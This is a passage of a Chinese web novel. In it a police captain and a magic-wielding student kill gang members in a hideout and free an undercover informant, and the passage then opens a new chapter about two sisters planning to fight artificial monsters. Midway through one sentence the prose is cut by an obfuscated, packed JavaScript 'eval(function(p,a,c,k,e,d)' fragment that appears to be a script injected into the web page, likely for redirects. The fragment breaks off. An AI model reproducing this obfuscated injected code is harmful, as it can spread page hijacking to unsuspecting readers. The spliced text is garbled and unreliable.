“是关于白夜社的亚贝琉家族背后的一些信息吧。”有乐羽生了然地说,“您确实有在努力地调查这些东西呢。” “警察不就是应该抓坏人的吗?”花野真纪点头,“再大的坏人也是坏人,我当了警察,却反而变成坏人的走狗,回头一看好好的家人也各怀鬼胎,这怎么能行呢?” 有乐羽生想起了自己家里,不免沉默了一下。 “虽然以前我确实没什么人样吧,不过那又如何呢?有个机会总是要试试看的,万一成了的话就是赚到了。”花野真纪也没那么在乎自己的用词了。 “您的家人知道您的想法吗?”有乐羽生委婉地问道。 “大概是不知道的吧。”花野真纪理了理有些干了的头发,它们开始卷翘了,“但是不知道才比较好,知道了的话她们就不得不做出什么事来阻止我了,那样我们就都会伤心的。” “…确实如此,但是,您知道这件事实际上也会牵连到她们吗?”有乐羽生说着摸了摸自己的墨镜,“作为被牵连的一方,她们总得知道些什么吧。” “迟早会知道的,到时候她们要骂我的话就骂好了,总比最后被我抓起来好。而且这件事充其量是我的一意孤行,若是失败了,那也是我一个人的责任。”花野真纪说,她的眉头微微皱起,“但若是成功了,那我们家就不会再出现下一个我为这件事头疼了。” 有乐羽生隔着墨镜看着眼前的人,二人一路沿着大学城的街道走,偶尔一两个交警会抬手和花野真纪打招呼,她一个个回应。大概是因为酒后没吃早饭她打招呼有些有气无力,但总有话能聊起来,是真的有话聊,不是场面话。 “花野队长!”一年轻交警抬手打招呼,“别来无恙身体安康啊希望你。” “也希望你。”花野真纪有气无力地龇牙回应,“希望你们家那首皮划艇甲板和你的嘴皮子一样利落。” “哈哈,上次触礁之后一直没修呢,再晒晒说不定就自己好了。”那交警挠了挠头。 “你的心态很适合来我们警局当后勤啊。”花野真纪若有所思。 “应该不是在夸我。”那交警摇头。 以及,咖啡店开门的店员,坐在室外小桌吃早饭的附近居民,往餐厅里搬食材的老板,甚至只是擦肩而过行色匆匆的某个人,她都能有话聊,摸着流浪猫的时候能叫出名字,看见有小混混也会一边喊一边冲上去骂一顿。 顺带着在某个刚开门的窗口突然停住脚步,回头问有乐羽生:“甜甜圈吃甜的还是咸的?要咖啡还是红茶?要不要加东西?” “甜甜圈为什么还有咸的?”有乐羽生好奇道,“我要咸的,热红茶不加东西,谢谢!” 随后二人继续向前走时手上就多出了早餐,咸甜甜圈是指贝果三明治,生菜火腿夹层根本就不甜,甜甜甜圈是指甜甜圈,巴掌大小一袋12个,糖粉加满。 有乐羽生看着前人的背影,心想,这样的人不应该是队长才对。或者说这样的人才应该是? “您对于调查这件事的危险性了解多少呢?”有乐羽生忍不住问道,“说实话,我不认为您的调查行动是经过警局允许的,或许她们也想不到您只有一个人还敢跑过来吧。” 但听到这句话,花野真纪却并没有立刻回应,而是讶异地看向了有乐羽生。 “…怎么了?”有乐羽生有些疑惑地接受打量。 “我喊你同学,不仅仅只是因为这样比较亲切而已,同学。”花野真纪说道,“我在你这个年纪的时候也不太喜欢把常理当回事,但这终归是有一番道理的。” 有乐羽生一愣,意识到了对方在想什么。 “就像我之前说的那样,那三台无人机都无法靠近的建筑中,两个高威胁目标都是我负责处理的,而那目标正是您所调查的东西,正是那白夜社中亚贝琉家族的存在。”有乐羽生皱眉,“我理解您作为一个好警察的责任感,但也请您不要因为道德顾虑而轻视我的能力。” “…好警察。”花野真纪念叨着,笑了笑,“都说了我当警察可不是为了这种东西啦。” “守护家人不就是您的目标吗?”有乐羽生能理解这个目标,“我也有相同的目标,也做好了哪怕不被理解也要继续这样做的觉悟。” “诶?”花野真纪却是面色无奈了起来,“是启明星侦探这样劝你的?她在这方面的思考方式真的和她的外表一样,作为侦探她确实可靠,但什么都听她的会很容易走歪哦?” “但她确实是个好侦探,警官。”有乐羽生有些不满地提醒道,“无论如何,您需要借助我们的力量,您不得不这样做,为了你我共同的目标。” 花野真纪一愣,她看向有乐羽生,五官因怀念而流动了起来。 “她也这样说过。”花野真纪笑了,双眼微微眯起,年轻人的笑。 有乐羽生没有说话,没去问那是谁。 “我确实一直在得到帮助,朋友的,家人的,同事的。”花野真纪说,“很快就要加上同学你的的了。” “…您清楚这一点。”有乐羽生说。 “是的!但说真的我给她们所有人添的麻烦也够多的,有时候我的回报方式也让她们生气。”花野真纪点头,“所以才需要提前告诉你我的免责声明!” “那是什么?算了,您不需要考虑那么多,我是自愿的。”有乐羽生无奈地说,“我都戴了这幅面罩了,您就不能当作我是那种匿名好心人吗?滑雪面具超人?” “哈哈哈——”花野真纪笑了,“我以前也这样!” “这可不一样哦。”有乐羽生强调说。 “因为你能处理那两个高威胁目标吗?”花野真纪好奇地问,“同学你觉得那两个目标如何?为我这个没办法靠近那里的调查人员介绍一下吧?” “她们,会让人产生幻觉,甚至影响到精神,让我忘记我是谁。”有乐羽生思索着说,“如果您继续调查下去的话说不定也会遇到类似的人站出来阻止你吧。” “哦哦!”花野真纪继续问,“你是如何击败她们的呀?” “用我的剑。”有乐羽生自豪地说,“我的剑和我的力量永远不会离开我!” “你也是用你的剑杀死她们的吗?”花野真纪继续问。 “…是的。”有乐羽生沉默了许久之后承认道,“我杀死了其中一个,另一个在我面前自杀了,这样来说我其实只解决了一个目标吧。” “抱歉。”花野真纪低下了头。 “我并不是第一次与那样的敌人战斗,但那确实是我第一次,杀死人。”有乐羽生的声音有些轻,“她们接受了洗脑,已经完全不把人类视作为同类了。” 街道上人烟繁茂了起来,声音绕耳。 “抱歉。”花野真纪说,她看着有乐羽生道歉。 “您没有可以道歉的地方哦?好警察?”有乐羽生笑了,“我当时确实很害怕,我感到很,愧疚,但是那本就是我们的敌人,即使愧疚,我也有需要战斗的理由。” “然后呢?”花野真纪问。 “…然后我就来这里帮您了。”有乐羽生说。 “我是说,你当时很害怕,然后呢?”花野真纪耐心地问。 “这个并不重要。”有乐羽生说,“好吧,其实在那之后我打电话给了我的母亲,但她不会理解我,我也不想让她担心。” 隔着面具,有乐羽生能对短暂的同行者说明自己的行为。 “…至少你还敢打电话。”花野真纪笑了,“已经很勇敢了,同学。” “是我该做的。”有乐羽生摇了摇头。 不久之后,二人在一处看着有些年代感的灰白建筑物前一段区域的拐角处停下脚步,周围没什么人,也没有公交车站,这一处基本上没有人会来。但这样的“无人区建筑”有乐羽生在天上飞时没少看见,若是每一处都是据点的话,想到这里,她心里有些后怕。 “本来要是就我一个人的话根本就不敢进去啊!”花野真纪完全放弃了礼貌用语,“说实话每次路过这里我都想踹门进去看看来着,就‘砰’的一下,然后大喊‘我是警察!放下手里的东西双手放在我看得见的地方不然全部击毙!’这样。” “这种类型的建筑全都是贩毒窝点吗?”有乐羽生皱眉问道。 “只有部分是,更多的连窝点都没有,随便一辆车就是。”花野真纪说。 “那岂不是根本就搜缴不完嘛!”有乐羽生为对方不紧不慢的态度大为不满,“今天会发生的事真的比您想象中的严重很多,想想那三台无人机您知道吗?” “哎呀,同学,不要这样紧张嘛。”花野真纪就没那么紧张,“俗话说打蛇打七寸,我们打不到天不渡真寅这个头,今天的目标就是七寸哦?” “谁?”有乐羽生问。 “苍伊沙,对你来说是个新名字吧?这个人是天不渡家族的吞毒人教育和控制者,为人阴毒残暴且有施虐倾向。总而言之,如果有谁知道那些脏东西都往哪里跑了,那这个人就是最大的可能。”花野真纪笃定地说。 “这样的人会待在这里?”有乐羽生质疑道。 “什么叫待在这里?说得好像她傻傻蹲在这里等我们上门来抓一样。”花野真纪不满地嘟囔,“你根本想象不出来我为了得到这个地址付出了多少心血,我一个队长过的如此落魄难道真的只是为了塑造形象吗?” “我以为是您把工资拿去买酒喝了呢。”有乐羽生说。 “也有这部分原因啦哈哈。”花野真纪干笑两声,“总而言之,之前我得到卧底的消息,苍伊沙因为一些事情选择与天不渡真寅分道扬镳。过程暂且不论了吧,结果是她带着大部分核心成员和机密资料跑了,现在大概率藏在这栋楼里面。” “别不论呀,大概说说嘛。”有乐羽生很感兴趣。 “好吧,就当作前情提要,我概括一下之前几天发生的事情。”花野真纪摸出记事本翻了翻,“在公开发表会中,白夜社天生目池元宣布除名亚贝琉家族的事情你知道吧?说真的这玩意为什么还能开公开发表言论啊,真把执法人员的脸面当擦脚布吗?” “我知道,还导致了交通瘫痪,各位也真是辛苦。”有乐羽生对此有印象。 “那场交通管制主要是为了阻止天不渡真寅往外跑。天不渡家族自从一次内部会议之后发生了极大的动乱,会议内容大概就是对家族的未来抉择之类的无聊玩意,但结果是天不渡家族的抉择让她们与犬山家族的做法产生了矛盾,并产生了争执,争执上升争斗,争斗导致动乱。天不渡家族好几辆车拉着要人紧急避险,但交通管制一开,车和人全都只能在地上爬了。”花野真纪颇为高兴地说。 “在地上爬也能爬走吧?”有乐羽生问。 “没错!所以动乱的最终结果是火拼,犬山家族的人一直都是我们的重点关注对象,我当然是没错过那起足以载入影册的大枪战,事情发生在这里。”花野真纪将折叠地图打开,密密麻麻标注着许多东西和贴纸的地图上,东流湾北部靠东侧的一个角落,放着一颗红色爱心贴纸。 若是花野真纪的消息属实,这件事就发生在她们一行人从神脉医院开车回家的那个晚上,没想到那么惊心动魄的一天还有一个如此花里胡哨的结尾。 “您知道的也太多了吧?”有乐羽生看着那过于精准的定位说。 “是有些内部消息啦,毕竟干我们这行的哪能没几个线人朋友?”花野真纪笑着说。 “过程就不说了,真不说,哎呀这个不能说吧。总之苍伊沙被说服叛变了,两方其实没有消耗太大,但天不渡真寅还是在少数人的掩护下逃走了,他想活的时候真的很能跑。”花野真纪叹了口气,“不过苍伊沙的叛变来得蹊跷,我打听很久后才得到了一个没那么可靠的消息。” “什么消息?”有乐羽生问,在她看来一个□□成员叛变的理由无非是生命安全和利益,但犬山家族那些人不过是普通人,而且天不渡家族贩毒的利益滔天,很难有新的什么能打动她。 “说是一个医院院长的私人财产,可以分她一些,什么的。”花野真纪说出来的时候语气是不确定的,“谁家院长贪这么多?分一点能分多少啊到底?” “医院院长?”有乐羽生顿了顿,随即恍然大悟此人是指博蒙,阿贝尔家族所有财产的继承人当然私产多到超乎想象。但随即她又震惊于她们前脚刚回来犬山家族的人就能得知博蒙要出事的消息,还商量着准备把她的遗产分了。 “总而言之就是钱。”花野真纪就没想那么多,“苍伊沙带着剩下的干部和部分核心成员在这附近的几个窝点藏起来了。百年家族一条心,要死一起死,重要的人可都在这建筑里头了,当然,火力也是不可小觑的。” 二人商讨着一会的行动。那栋楼本身破旧,但若是以内部隐藏着大量前贩毒家族成员为前提去看的话,墙皮剥落的部分都仿佛有了些令人在意的纹路。 “大概会遇到多少人?武器的数量如何?”有乐羽生担心问道。 “大概150人左右,除去小部分后勤之外全都是武装人员,大概率处于警戒状态,且24小时有人看守,这附近就有许多眼线,这里是唯一的安全区。”花野真纪神情凝重,“关于武器这部分,冲锋枪和手枪算是人手一把,附近随时可以安排狙击手,大楼本身设有爆破装置,干部也可以呼唤直升机支援。” 话说到这里,有乐羽生终于有了一种自己即将面对恐怖组织的实感,虽然之前她自称可以面对大部分情况下的危机,但此时她的心里还是紧张的。 不仅仅是面对危险的紧张,也有面对即将杀人的紧张,昨日的场景回忆起来她还会觉得心中一紧,这样的她真的可以做到杀死这150个人吗? “说是有150个人,但并非所有人都是我这次行动的目标。”花野真纪说,“目标是干部6人,以及二把手苍伊沙,其余的武装人员并没有下达指令的资格。我希望你掩护我进入其中,并协助我解决目标人员。” “…我确实害怕杀人。”有乐羽生叹了口气,她能看出花野真纪在想什么,“我其实对杀死那两个人感到愧疚和害怕,但我说了,这是我该做的。” “正常人都对生命抱有珍惜的情感,无论是自己的还是别人的。”花野真纪没有回应,而是正视着有乐羽生说,“我第一次杀人是在一次追查过程中射击一个行凶者,那时我在外地当值,刚刚上任警司有了开枪的资格。但真的杀人之后我又觉得这个资格我能不能不要?很好笑吧,那天我吐得酒都喝不下去,睡也睡不着。” 她说起这些事情的时候语气闲散,像是酒还没醒一样醉醺醺的,但眼神却是难得的沉重复杂。有乐羽生听着,理解了这个人想讲述的是生命的重量。 “我有的时候在想,我真的有资格杀人吗?谁给我的资格?我的警徽?我的上司?还是我的正义感?有了这些的批准我就能杀人了吗?”花野真纪说着笑了,是在自嘲。 “是这样吗?”有乐羽生问。 “这些问题太主观了,我现在说是,晚上喝了酒就可以哭着说不。杀人之前我觉得我可以负责,真的杀人了之后我又想把自己的腹部全部掏空来减轻负罪感。”花野真纪看向有乐羽生,眯起眼睛笑了,快四十岁的她笑起来与有乐千奈简直是截然相反的,“我现在已经不会吐了,不是因为承认权利。而是我决定以那些问题全部被否定的情况下去杀人,在这个基础上,一切允许我杀人的存在只是免除了我杀人的惩罚而已,无论死者身份。” 花野真纪,作为警察在任期共杀死77人。 她说杀人,但其实是有更为合理的用词的,例如“死刑,肃反,杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原本只是普通木剑的魔剑闪过银色的光,没有因风的扰动而颤抖。 “谢谢你理解我,也愿意帮我。”花野真纪说。 按照花野真纪的卧底朋友的说法,所有的干部和二把手都集中于最顶层,除了顶级的安保人员之外,顶层还配备了红外线感应和自动瞄准式的吊顶机关枪。 “以及狙击手和直升机吗?”有乐羽生思索了一番,“所以最好是不要惊扰到那些人,在支援人员抵达之前解决。” “没错,数量在三个以内靠近三米之内就好,我有一些计划。”花野真纪看向那没有阳台的建筑物,“你有办法直接潜入顶层吗?” 这话说给别人听像是在开玩笑一样。 “可以。”有乐羽生点了点头,“您在这里等我吧,到时候如果我出现在您的身后,请您不要回头,闭上眼睛,直到双脚再次着地。” “真的可以啊?!”花野真纪诧异道,“对了,一会我们得留下苍伊沙问话。” “只留下她一个吗?”有乐羽生有些疑惑,不过她也不太了解审讯,就点了点头,“我明白了,一会我会注意的。” 说完,她离开了二人所在的小巷。 如何直接跨过所有障碍潜入顶层,非常简单,只需要一个隐身魔法,然后飞起来就可以啦。有乐羽生绕着顶层飞了一圈,每一处窗户都是紧闭的,窗帘也都是紧紧地拉着不留一丝空隙。不过通风管道倒是还有,直径大概十厘米左右的口子,应该是给空调预留的。 有乐羽生将坐标水晶丢了进去,随即使用空间魔法,下一个瞬间,她的视线中出现的是这座外表破烂的热武器铁塔的顶层。放眼望去是一个大型会客厅,装修不华丽甚至可以说没有装修,地面仅有水泥,但那些随地摆放的热武器和兵器十分惹人注目。沙发上坐七人,周围靠墙站着一圈武装人员,约十个,每个都看上去身强力壮并手持冲锋枪,随时可以开火。 虽然有隐身魔法,有乐羽生还是有一种冒昧上门打扰的紧张感。 这种情况下即使使用空间魔法直接传送过来也没办法降低警戒吧,有乐羽生这样想着开始四处探查着。 除了会客厅以外,顶层还有两个卫生间和两个休息室,以及一个杂物间,此时所有人都在会客厅内。室内门是金属铁门,拴着铁链,有乐羽生等了好久才等到有人敲,问了好几个问题之后才放行,回答是暗号。 这种情况下想要真的完全掩人耳目是不可能的,必须要造成一定程度上的混乱,才能有机会趁着混乱行动,而这个混乱不可以让这些人真的警惕起来,有乐羽生看向两个相对着的卫生间,心里有了些想法。 “咦?地板上是不是有点湿?”一个安保人员觉得脚底微凉,低下头去看时发现水泥地板上有些湿痕。 “还真是,奇了怪了,哪来的水?”另一个人蹲下来查看。 “怎么回事?”坐在沙发上的一个人发问。 “报告!”一人回应说,“地板上有水渍。” “这个破楼不会水管道出问题了吧?”另一个人懊恼地说,“我们还得在这里待多久?” 有乐羽生听着,这些人似乎也对待在这里感到不满。哪怕是为了安全起见,一直身处一个不见光的地方也会有所不满的,更何况这些人这几天都没怎么遇到危险情况,自然会认为这样的做法实际上是没有必要的。 “就是说啊,我们非得在这里待着吗?虽然是为了安全,但是不是有些太过警惕了?” “我也觉得没什么好待在这里的,不过二把手都这样说了。” “这里信号也不怎么好,该死的,电话还得去窗边打。” “那些人没什么威胁的,我们也没必要一直待在这里不是吗?” “安静。”一人发言后所有声音都静了下来。有乐羽生也看了过去,那坐在单人沙发上的人抬起头,她大概本来在闭目养神,睁开眼时抬手揉了揉眉心,再睁眼,扫视了周围一圈的人,神情冰冷。 这个人应该就是二把手苍伊沙了,有乐羽生判断道。 “不愿意待在这里的人就出去。”她说道,只是陈述。 没有人动,所有人都看着她,一言不敢发。 “长野,你去看东边的卫生间,海明,你去看西边的。”她开口命令,收到命令的人迅速开始行动。 长野进入卫生间,看到的就是满地的水,小心地关上门之后抬眼就看见了站在门后面的花野真纪,他甚至来不及震惊,就被反手擒拿并被压在地上,水花没溅起一点。花野真纪拿小刀抵着长野的脖子,用纸条意示他喊人进来。 有乐羽生刚刚使用空间魔法将花野真纪带进这里,二人提前商量好了作战方式,若是出现了疏忽,花野真纪也带了些烟雾弹。 “水管裂了!”长野呼喊的时候有乐羽生顺便让水流哗哗作响掩盖他的声音颤抖,“来个人帮把手。” “南本,你去。”一个干部吩咐道,苍伊沙看了一眼,没有阻止。 于是南本进卫生间后看到的就是同伴的尸体和等待他的花野真纪。 另一边的卫生间,二人以同样的方式解决了两个人。同时有个人想上厕所进入卫生间,被顺带着一起解决了。安保人员还剩五个。 “喂,好了没啊?”一个人敲门喊道,是安保人员中的一个。 “急什么?你来修?”花野真纪用假音回应,“去杂物间帮我找一下工具箱,这个得粘起来,接上还是漏水。” “行吧,你就使唤我吧。”那人不服气地说。 “等下!”花野真纪假装另一人,让声音从窗边传出,“把那把梯子也给我搬来。” “我叫个人。”那人找了个同伴,先后进了杂物间。 接下来还剩三个,有乐羽生全程一言不发,看花野真纪犹如事先排练好了一般行云流水地解决了那些人,无论是有体型差异的还是带着武器的,在她手下连挣扎的机会都没有出现过。 水流忽然增大了,水泥地面以肉眼可见的速度变色。 “抱歉老大,水管之前就是坏的。我们贴上后还是裂了,现在我们换根新的管子暂时用一下。”花野真纪说。 “啧,怎么回事啊?”有人感到怀疑了起来。 “不想在这待着的去休息室。”苍伊沙头也不抬地说。 有四人起身,各带了一个安保人员前往两个休息室。 现在,整个会客厅,或者说顶层就只剩下了四个人,苍伊沙,两个干部,以及一个持枪安保人员。 花野真纪从角落里跳起,整个人缠绕上那个站在窗边的安保人员,风衣掩盖之下,她迅速用小刀划开了那人的脖子。血液喷涌而出,于是剩下的三人终于意识到发生了什么,也顾不上地面的潮湿,拔枪就准备射击。 但藏在天花板上的有乐羽生剑更快,她只是跃起,再落下,那些枪管就全都断成两节了。 “呼叫增援——”一个干部的叫喊还没到一半,就被装了消音器的警用左轮击穿了头颅。 剩下的一个干部几乎无法动弹了,他怎么都想不出为什么会发生这种事情,只能尽全力爬向那唯一还站着的二把手苍伊沙,企图躲到她身后。 但很快,他的头颅也被击穿了。 于是就只剩下了苍伊沙一个人站在潮湿的水泥地上,她依旧是一言不发,神色冰冷,用沉默表达自己的态度。 花野真纪也没说什么,起身走到苍伊沙的面前,伸出右手,招了招,意思是把东西交出来。有乐羽生有些警惕地站在她的一旁,手持魔剑盯着对方的动作。 苍伊沙也紧盯着花野真纪,她的手探入怀中,顿了顿,随后极速弹出,那一抹锐利的光是金属专有的色泽,有乐羽生一惊,抬手就要刺出。 “等等!”花野真纪忽然喊道,“等等,等等同学,等一下。” 有乐羽生疑惑地看向她,那一闪而过的光芒落在苍伊沙的手上,是个金属U盘。 “…我是不是还有什么事情不知道?”有乐羽生微笑着问。 “你想知道什么?”苍伊沙看向有乐羽生,神情冰冷,这让有乐羽生有些紧张,但随即她又想起来这人可是□□的二把手,就很快恢复了自然。 “总之,抱歉,这个不能提前说。”花野真纪一边摆手一边仓皇地笑着拦在两个人之间,“这位就是我的卧底朋友,这位是我找的外援,来,握个手吧?” 有乐羽生看向苍伊沙,又看向花野真纪,又看向了苍伊沙。三个人其实对这样的场面都没什么准备,一想到这里有乐羽生就想笑。 “这个现在也不能说。”苍伊沙看向花野真纪,“这件事没有你插手的余地,你不该在这里,你自己也清楚的吧。” “你又不是第一天认识我了,而且桃源她给我打电话过。”花野真纪挠了挠头,“总之,除了解决指挥人员外,我的另一个目标就是带着她离开这里。” “还有呢?”有乐羽生问,她看着花野真纪解释着的样子,和之前解决那些人的样子放在一起看,十分有趣。 “真是不好意思同学。”花野真纪自觉有些理亏,“真没有了,真的。” “你又是怎么想的?喊个未成年来帮你?”苍伊沙的声音愈发冰冷,配合她阴冷的表情似乎是在威胁一样,“别告诉我,你们就两个人?还是临时的?” “就两个哦。”有乐羽生说,“而且也算是我先找上门的吧。” “你很自豪,你知道你在做什么吗?”苍伊沙冷酷地问,不像个好人。 “知道的,比您想象中的清楚些,也知道后果。”有乐羽生说着,伸出了手。 “你最好是。”苍伊沙说着看了眼花野真纪,也伸出手。 两人简单地握了手,有乐羽生感受到对方手套之下的坚硬冰冷,这是一只假手。 三人离开了顶层,也就是离开了那栋楼,尸体留存其中。苍伊沙没有对魔法的出现表达意外,有乐羽生心想她确实也是白夜社家族的二把手,对此事有所耳闻并不难理解。 “至少有点好事,比如说一会不会因为有组织的武装队伍以及散发药物而出现大规模混乱。”花野真纪摸出怀里的金属水壶,喝了一口,“比如你还活着,对吧?” “只有我还活着就不是个好事了。”苍伊沙说,“犬山家族与亚贝琉家族的人基本上可以说是绑定的,但她们的首领昨晚失踪,按过去的经验可能是死了。那老头没死,至少现在还没有。以及,那条视频,并非是出自闲散人员之手。” “视频?”有乐羽生一愣,“那条俱乐部地下室的视频。” “你拿着?那就拿好了。”苍伊沙没什么意外的神色,她似乎一直没有新的表情,“那是仁夜家族的报复。” “居然是因为那件事情吗?可是当年那件事两边都动手才对,为什么现在还能拿出来报复?”花野真纪不解地问。 “什么事情?”真的不解的有乐羽生问道。 “2000年的时候那老头差点死了,具体原因我不清楚,但是亚贝琉家族的态度本来很坚决。但除了波及到亚贝琉家族的利益以外,这件事的发生还导致了当年仁夜家族的二把手直接死亡,于是当时其首领开展报复行为,主要是针对天不渡家族,但也有影响到其它白夜社的家族。就这件事当时引起了许多动乱,和这几天几乎差不多了。”花野真纪凝重地说,“现在仁夜家族已经换了新首领,但根据她们的规矩,首领由上一任首领直接考核,所以如果说仇恨也继承下来的话也是合理的。” “这次死的人不会比上次的少,两次都有背后推手,这次力度更大。”苍伊沙说。 “不好说哦?”花野真纪笑了。 有乐羽生想起了启明星和她叮嘱过的事情,心里有些紧张,不知道这件事中她的母亲是个怎样的角色,近期会不会遇到危险。 “天不渡家族有个人叫天不渡真鸟,那件事与他有关,当时我还没混到核心段,不知道内情,但听名字也能猜出一些吧,八成是连坐。”苍伊沙靠着栏杆,怀抱双臂看着远方。 这样一说有乐羽生就理解了这大概是什么事了。 “天不渡真鸟,他的行为确实造成了亚贝琉家族巨大的利益损失。”有乐羽生想起实验室就皱眉,“在我看来,这件事造成的后果比天不渡家族带来的利益更多。” 毕竟以亚贝琉家族的手段来看,合作对象都可以换,但造成损失的人还是处理掉更好,哪怕是不处理也不应该继续合作下去了才对,但天不渡家族却还是坚持到了现在。 “那样的话,很难想象那老头使出了什么手段才让自己活下来的,毕竟他是真的想活。”苍伊沙说着,居然是冷笑了一声,“下跪也好求饶也好,能让他活下去的话,哪怕是一辈子给别人当马骑都是可以的吧。” “…真是难以想象他哭的样子。”花野真纪说着,盖上了水壶的盖子塞回口袋里,酒精反而让她看上去精神了些,“你们接下来有什么打算?” “继续巡逻,尽可能减少伤亡吧。”有乐羽生没有其它打算了。 “…我抽根烟,然后回去了。”苍伊沙说。 “回去,回哪去?”花野真纪顿了顿,说话有些急了,“我们好不容易把你带出来,你自己也清楚,那里没有人能逃离这次混乱,越重要的人越不能。” “谢谢,事到如今,越重要的人越有用。”苍伊沙从口袋里摸出了烟盒与打火机,“而且本来确实是死局,现在可能不是。” “你自己也说了只有你活下去的话很可疑吧,就这样离开吧?现在你回去没有人能质疑你的成就的,而且时间过去太久了,你还记得一开始你说的话吗?”花野真纪很急,“当初你都不是卧底组的人,你比我还讨厌这一套的不是吗?” “嗯。”苍伊沙说,她看向有乐羽生,神情没有变化,有乐羽生却是紧张了起来。 这个人说话只说有用的信息呢,有乐羽生心想,是有什么事要托付给她吗? “未成年人,我要抽烟了。”苍伊沙说。 74.INMATE-011 南流港的气氛比起北边要平和许多,但对于刚刚出门还不知道之前发生了什么的森山寺姐妹来说这一事实并不存在。 二人出门前还在商量着一会要如何把那些人造魔物不留痕迹地消灭掉,森山寺未雅之前从未见过人造魔物是如何运作的,森山寺未央以一种夸张的手法描述着。 “所以,最后会爆炸。”森山寺未雅抓到了重点,“那如果我们强行摧毁那些罐头的话大概也会引发爆炸吧,而且是大爆炸,连环大爆炸。” 这样说着,她的语气变得跃跃欲试了起来。 “我现在已经明白了一些道理,例如有的东西不该看就最好别去看,比如连环大爆炸,比如我的手机,如何呢?”森山寺未央郑重地问。 “我没有翻过你的手机。”森山寺未雅不吃这招。 “算你识相。”森山寺未央露出了一个不信任的表情,她总觉得森山寺未雅最近有什么事情瞒着她,但无论怎么打听都得不到结果。 “总而言之,”森山寺未雅纠正了话题,“一个一个的话来不及,一群一群的话挡不住,你有什么比较合适的想法吗?” “此起彼伏。”森山寺未央说。 “你在讲冷笑话。”森山寺未雅肯定地说,“请你认真思考一下,在我们抵达目的地之前至少给我三个提案吧,我会否决两个的。” “那你呢,你也给我思考啊!”森山寺未央大为不满。 “我想,我想。”森山寺未雅想来想去,“说起来,这些魔物一开始被催化是因为那个叫格雷伊的人吧,所以说她今天也会出现在这里吗?” 说起格雷伊,二人就不约而同地想起了博蒙,以及天使的存在。 “大概率会,极大概率。”森山寺未央并不觉得会有什么好事发生,“我们能对付她的,我还记得之前我们打起来的时候的情形,不过可能也会有其它的天使一起打包放送吧。” “那么那个时候我们就大喊‘艾克里普大人救命啊’来求援吧,现在要不要来练习一下?”森山寺未雅说,随即她意识到了什么,“等一下这个是不是有点似曾相识了?” “你倒是给我相信一下我们两个的羁绊啊!”森山寺未央非常不满,“这个时候不应该说,那个时候我们两个竭尽全力就会所向披靡的吧!” “拜托让我活着回家好吗?”森山寺未雅并不为经典剧情买账。 “如果只剩个头的话晓应该也能有办法吧。”森山寺未央认真思索可能性。 森山寺未雅看着森山寺未央,心中从不怀疑自己的妹妹在某些方面有着超乎寻常的行动力,不如说就是因为她太过信任这一点了,偶尔,她也会觉得这样下去似乎不太好。 具体是怎么个不太好法呢? “如果没有我在的话,你一定会活得很烂。”森山寺未雅肯定地说。 “你啥意思啊?!”森山寺未央为这突如其来的蔑视震惊了,“什么叫如果没有你在?” “…现在要说这个吗?”森山寺未雅叹了口气,“还是来谈谈人造魔物和格雷伊吧。你觉得她激活那些魔物,靠的是什么?” “魔力!”森山寺未央立刻回答。 “零分,继续想。”森山寺未雅怒斥对方的懒惰。 “好吧好吧我确实是有一点研究的,昨天我翻了一下书,研究了一下天使的代号和她们目前为止的一些表现。”森山寺未央摸出了万能的手机,“过程你自己去翻书吧,我只说结论哦,如果以目前能知道的情报来分析,天使的代号大概是与她们本身的魔力使用特性,以及魔法而定的。魔法是最后学习的也是有可能的。” “这样而言的话,至少有四种衡量单位了。”森山寺未雅眉头皱了起来,“而且这样来说天使那边已经有一套完整的制度和系统了吧,说实话我还挺想看看的,后天魔力使用者确实需要更加精准的测量以最大化效果。” 但这样一说,她也意识到了之前她们几人遇到的天使实际上并没有多么珍惜自己的生命,这是非常矛盾的行为,矛盾意味着问题所在,森山寺未雅若有所思。 “库伦,使用幻术,单位为暴露量,矫正为幻术魔法对精神和现实的影响,这一理论基本上符合逻辑。”森山寺未央翻动手机,“而拉德并没有展现出什么特殊的能力,除了那副电锯一样的翅膀,但反过来想也可能是因为本人没有魔法攻击手段而刻意装载了这一武器。” “以吸收剂量为单位的话,有没有可能是魔法,或者是魔力的储存为特征的天使呢?”森山寺未雅思索着说。 “或者说更高的异化程度,而格雷伊也一样。”森山寺未央有些头疼,“但是说不通啊,说到底格雷伊她作为博蒙的孩子真的会被洗脑为天使吗?” 二人印象里的格雷伊并不是一个多么自主的人,最多也就是向湛提出了自己的想法,最后还没有成功达到目的。 “羽生说格雷伊与她幼年相识,以外表来看,格雷伊至少没有接受过催化。”森山寺未雅说,但她并不认为这就好到哪里去,“她在天使里也是特殊的存在吧。” “先说说贝克勒尔吧,她使用的空间魔法算是非常大型的了,而且就艾克里普没能阻止,这一点能看出她以活度作为单位,矫正为魔力的活度,或者说爆发力,这样是合理的。”森山寺未央说,“这样一算还有很多我们没见过的。” “而你们之前在车上遇到的那位西弗尔特,以那样的输出表现来看,特点在于衡量,不过她真的还活着吗?”森山寺未雅质疑道,“她若是能固定状态的话想活大概也是能活下来的,但是这些天使似乎都没那么想活。” “不知道,那个时候我们也不知道这些都是群什么人。”森山寺未央叹了口气,“一开始我们还没什么危机意识,好在有艾克里普在,无论怎样都不算晚。” “那就拜托你到时候和我一起大喊求救了吧。”森山寺未雅没有继续谈论这个话题,“那么若是将格雷伊的表现与拉德的表现放在一起,二者的相似点是什么?” “亲人曾经建在?”森山寺未央说,“真想不出来,硬要套的话就说魔力储备吧,格雷伊如果是以某种特殊形式被视作天使的一员的,那么结合阿贝尔家族的那个血湖,她的魔力储备量高也是可以理解的。再加上她使用魔力的方式,我合理推断她能大批量控制那些人造魔物。” “…那就不得不先解决她了。”森山寺未雅说,“以这样的想法为基础,她一定会带着保镖吧,被确定能与我们战斗的那种。” “不要小瞧我们之间的羁绊啊!”森山寺未央大声呼唤,“实在不行就只能用那一招了吗?” “什么?”森山寺未雅一惊,“你还留了后手?!” “呼叫艾克里普啦。”森山寺未央摆了摆手,“还能怎么样呢?让棋子们合成一个巨大的手下然后我们坐驾驶舱吗?这个的话也可以但是会不会有点不太好?” “…让棋子自爆吧。”森山寺未雅冷酷无情地说,“自爆吧,士兵。” “这样喊还挺帅的。”森山寺未央点头称赞。 